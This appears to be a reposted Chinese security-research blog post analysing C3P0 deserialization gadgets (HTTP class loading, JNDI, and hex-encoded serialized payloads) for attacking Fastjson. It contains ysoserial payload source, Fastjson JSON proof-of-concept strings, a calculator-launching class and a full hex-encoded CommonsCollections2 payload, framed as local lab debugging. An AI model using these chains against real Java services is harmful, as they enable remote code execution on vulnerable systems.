淺談Java安全之C3P0的使用
寫(xiě)在前面
很久以前就聽(tīng)nice0e3師傅說(shuō)打Fastjson可以試試C3P0,當(dāng)時(shí)還不會(huì)java(雖然現(xiàn)在也沒(méi)會(huì)多少)也就沒(méi)有深究。最近調(diào)試Fastjson的漏洞,又想到了這個(gè)點(diǎn),就拿出來(lái)學(xué)習(xí)下。
C3P0 Gadget
C3P0中有三種利用方式
- http base
- JNDI
- HEX序列化字節(jié)加載器
下面來(lái)一點(diǎn)點(diǎn)看他們究竟是怎樣使用的。
先貼上ysoserial項(xiàng)目中C3P0 Gadget的源碼:
package ysoserial.payloads;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
*
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*
*/
@PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
}
}
http base
可以本地起一個(gè)反序列化的環(huán)境,導(dǎo)入c3p0的依賴(lài)
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
會(huì)導(dǎo)入下面兩個(gè)jar
c3p0-0.9.5.2.jar
mchange-commons-java-0.2.11.jar
在ysoserial項(xiàng)目中直接測(cè)試下
public static void main ( final String[] args ) throws Exception {
// PayloadRunner.run(C3P0.class, args);
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:9010/:calc");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
之后準(zhǔn)備個(gè)彈計(jì)算器的類(lèi),編譯成class,之后再起個(gè)http服務(wù)
import java.io.IOException;
public class calc {
static{
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}


C3P0.getObject()
先來(lái)正向調(diào)試下序列化的過(guò)程
先跟進(jìn)看C3P0.getObject()前面是通過(guò)最后一個(gè):拿到url和需要遠(yuǎn)程加載的className

之后通過(guò)反射創(chuàng)建了一個(gè)PoolBackedDataSource對(duì)象

接著反射設(shè)置PoolBackedDataSourceBase類(lèi)中屬性connectionPoolDataSource為PoolSource對(duì)象
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
實(shí)例化時(shí)會(huì)把url和className即我們遠(yuǎn)程地址和惡意類(lèi)的類(lèi)名賦值給PoolSource的屬性

序列化
序列化時(shí)會(huì)調(diào)用com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()方法,但是會(huì)拋出異常進(jìn)入catch部分

之后依然會(huì)調(diào)用writeObject方法

首先會(huì)先去indirector.indirectForm(this.connectionPoolDataSource),而this.connectionPoolDataSource的兩個(gè)屬性是我們的遠(yuǎn)程地址和惡意類(lèi)類(lèi)名
indirectForm方法邏輯如下:
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}
首先調(diào)用我們傳入對(duì)象的getReference方法,也即是PoolSource#getReference()該方法會(huì)實(shí)例化一個(gè)Reference對(duì)象

后面將生成的Reference對(duì)象作為參數(shù)傳遞進(jìn)ReferenceIndirector.ReferenceSerialized,調(diào)用有參構(gòu)造去實(shí)例化

反序列化
反序列化入口點(diǎn)應(yīng)在PoolBackedDataSourceBase#readObject()處,我們下個(gè)斷點(diǎn)跟進(jìn)去

而在readObject()中會(huì)去調(diào)用ReferenceIndirector.ReferenceSerialized#getObject()方法,這里單步調(diào)試進(jìn)不去,直接在getObject()方法內(nèi)下斷點(diǎn)F9跟進(jìn)去。這里并沒(méi)有調(diào)用lookup而是走到調(diào)用ReferenceableUtils.referenceToObject(),繼續(xù)跟

通過(guò)URLClassLoader遠(yuǎn)程加載類(lèi)造成遠(yuǎn)程代碼執(zhí)行

Class.forName()
在nice0e3師傅文章里看到的,這個(gè)點(diǎn)以前學(xué)反射的時(shí)候沒(méi)深入跟,這里深入學(xué)習(xí)一下。
這里如果可以控制forName?法的第?個(gè)和第三個(gè)參數(shù),并且第?個(gè)參數(shù)為 true,那么就可以利?BCEL, ClassLoader實(shí)現(xiàn)任意代碼加載執(zhí)? 。
首先可以把關(guān)鍵代碼摳出來(lái)
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
String var4 = "calc";
URL var8 = new URL("http://127.0.0.1:9010");
var7 = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName(var4, true, (ClassLoader)var7);

調(diào)試下看看,進(jìn)入Class.forName()后首先去看是否設(shè)置了SecurityManager沒(méi)有的話則去調(diào)用forName0()
public static Class<?> forName(String name, boolean initialize,
ClassLoader loader)
throws ClassNotFoundException
{
if (loader == null) {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
ClassLoader ccl = ClassLoader.getCallerClassLoader();
if (ccl != null) {
sm.checkPermission(
SecurityConstants.GET_CLASSLOADER_PERMISSION);
}
}
}
return forName0(name, initialize, loader);
}
forName0()里是native代碼,底層是C/C++實(shí)現(xiàn),就跟不了了
private static native Class<?> forName0(String name, boolean initialize,
ClassLoader loader)
throws ClassNotFoundException;
官方文檔說(shuō)明:只有當(dāng) initialize參數(shù)是true并且之前沒(méi)有被初始化時(shí),類(lèi)才會(huì)被初始化。
Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

這里其實(shí)在審計(jì)的時(shí)候也可以關(guān)注下forName()的參數(shù)是否可控,可控的話就可以通過(guò)初始化來(lái)觸發(fā)代碼執(zhí)行
JNDI
利用姿勢(shì)
以Fastjson為例
PoC
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}

調(diào)試分析
JNDI的話主要利用的是com.mchange.v2.c3p0.JndiRefForwardingDataSourceBase中的setjndiName()去設(shè)置我們遠(yuǎn)程ldap地址

最終走第二個(gè)if中this.pcs.firePropertyChange()方法
public void setJndiName(Object jndiName) throws PropertyVetoException {
Object oldVal = this.jndiName;
if (!this.eqOrBothNull(oldVal, jndiName)) {
this.vcs.fireVetoableChange("jndiName", oldVal, jndiName);
}
this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName;
if (!this.eqOrBothNull(oldVal, jndiName)) {
this.pcs.firePropertyChange("jndiName", oldVal, jndiName);
}
}
之后在解析到loginTimeout字段時(shí)會(huì)調(diào)用com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()方法
public void setLoginTimeout(int seconds) throws SQLException {
this.inner().setLoginTimeout(seconds);
}
在inner()中,跟入this.dereference()
private synchronized DataSource inner() throws SQLException {
if (this.cachedInner != null) {
return this.cachedInner;
} else {
DataSource out = this.dereference();
if (this.isCaching()) {
this.cachedInner = out;
}
return out;
}
}
在其中觸發(fā)了JNDI

先利用com.mchange.v2.c3p0.JndiRefDataSourceBase#setJndiName()設(shè)置遠(yuǎn)程ldap地址,之后通過(guò)com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout() ==> this.inner() ==> InitialContext.lookup()觸發(fā)JNDI
Hex序列化字節(jié)加載器
利用姿勢(shì)
這里其實(shí)就是常聽(tīng)到的就是用C3P0二次反序列化打Fastjson,因?yàn)橄馞astjson和Jackson在反序列化時(shí)都會(huì)觸發(fā)setter方法的執(zhí)行,而C3P0中userOverridesAsString的setter會(huì)將HexAsciiSerializedMap開(kāi)頭的hex字符串進(jìn)行解碼再去觸發(fā)Java原生的反序列化
PoC
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內(nèi)容;"}}
先生成序列化payload,這里的payload注意是需要本地的另一條Gadget比如CC或者CB鏈,然后hex編碼一下拼到PoC里
CC2
? target java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > calc.ser
public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println("hello");
InputStream in = new FileInputStream("/Users/sangfor/Downloads/ysoserial-master/target/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
Calc Hex String
ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572343835333735313638353139363001001F4C79736F73657269616C2F50776E657234383533373531363835313936303B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000036000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000003B000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D0000000600010000003F000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178

回顯RCE,PoC參考safe6sec項(xiàng)目

Godzilla4 Memshell


調(diào)試分析
前面也提到了,主要是調(diào)用到userOverridesAsString的setter觸發(fā)了反序列化,跟進(jìn)去看一下
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

跟進(jìn)listeners[current].vetoableChange(event);

之后進(jìn)入WrapperConnectionPoolDataSource#setUpPropertyListeners()方法,其中調(diào)用了C3P0ImplUtils.parseUserOverridesAsString((String)val)去解析我們傳入的HexString
private void setUpPropertyListeners() {
VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
String propName = evt.getPropertyName();
Object val = evt.getNewValue();
if ("connectionTesterClassName".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
} catch (Exception var6) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var6);
}
throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
} else if ("userOverridesAsString".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
} catch (Exception var5) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var5);
}
throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}
};
this.addVetoableChangeListener(setConnectionTesterListener);
}
繼續(xù)跟進(jìn),利用subString截取了HexAsciiSerializedMap之后的Hex編碼字符串,交給ByteUtils.fromHexAscii(hexAscii)把Hex轉(zhuǎn)成bytes數(shù)組,之后調(diào)用SerializableUtils.fromByteArray(serBytes)處理

調(diào)用了deserializeFromByteArray方法,之后進(jìn)入Java原生的readObject()

Reference
https://www.cnblogs.com/nice0e3/p/15058285.html
http://redteam.today/2020/04/18/c3p0的三個(gè)gadget/
https://github.com/safe6Sec/Fastjson
到此這篇關(guān)于淺談Java安全之C3P0的使用的文章就介紹到這了,更多相關(guān)Java C3P0內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
淺析Spring IOC bean為什么默認(rèn)是單例
單例的意思就是說(shuō)在 Spring IoC 容器中只會(huì)存在一個(gè) bean 的實(shí)例,無(wú)論一次調(diào)用還是多次調(diào)用,始終指向的都是同一個(gè) bean 對(duì)象,本文小編將和大家一起分析Spring IOC bean為什么默認(rèn)是單例,需要的朋友可以參考下2023-12-12
利用Spring Boot創(chuàng)建docker image的完整步驟
這篇文章主要給大家介紹了關(guān)于如何利用Spring Boot創(chuàng)建docker image的完整步驟,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-08-08

